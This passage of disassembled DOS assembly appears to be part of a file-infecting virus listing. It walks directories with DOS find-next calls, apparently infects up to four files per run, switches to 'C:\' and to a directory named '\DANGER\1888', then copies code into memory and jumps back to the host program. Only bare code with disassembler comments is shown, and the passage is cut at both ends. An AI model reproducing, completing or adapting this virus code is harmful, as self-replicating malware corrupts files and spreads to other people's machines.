0Eh db 0FBh, 73h, 03h,0E9h, 9Eh, 00h loc_0EFE: call sub_0989 jc loc_0F06 ; Jump if carry Set jmp loc_0F9C loc_0F06: call sub_099C call sub_0A32 mov data_011E,0 loc_0F11: call sub_0AB7 jc loc_0F62 ; Jump if carry Set loc_0F16: cmp data_019C,4 ja loc_0F9C ; Jump if above call sub_0ACE call sub_0AAF jnc loc_0F5C ; Jump if carry=0 cmp data_010A,4 ja loc_0F5C ; Jump if above call sub_0B08 jc loc_0F9C ; Jump if carry Set cmp data_011E,0 je loc_0F3D ; Jump if equal call sub_0B1D jmp short loc_0F40 loc_0F3D: call sub_0BD4 loc_0F40: call sub_0ADF jc loc_0F9C ; Jump if carry Set inc data_019C cmp data_019B,1 je loc_0F5C ; Jump if equal call sub_0C40 jz loc_0F5C ; Jump if zero call sub_0C87 jc loc_0F9C ; Jump if carry Set jmp short loc_0F11 loc_0F5C: mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jnc loc_0F16 ; Jump if carry=0 loc_0F62: cmp data_011E,1 je loc_0F70 ; Jump if equal mov data_011E,1 jmp short loc_0F11 loc_0F70: mov data_011E,0 cmp data_019A,0 jne loc_0F8B ; Jump if not equal lea dx,data_015A ; ('C:\') Load effective addr mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx mov data_019A,0FFh jmp short loc_0F11 loc_0F8B: cmp data_0182,0 je loc_0F9C ; Jump if equal call sub_0A8A dec data_0182 jmp loc_0F11 loc_0F9C: lea dx,data_013A ; ('\DANGER\1888') Load effective addr mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx call sub_0C40 jz loc_0FAC ; Jump if zero call sub_0C50 loc_0FAC: mov ax,word ptr data_012C+2 mov es,ax mov cx,5Bh mov si,offset data_070C xor di,di ; Zero register rep movsb ; Rep when cx >0 Mov [si] to es:[di] call sub_09EE call data_012C seg_a ends end start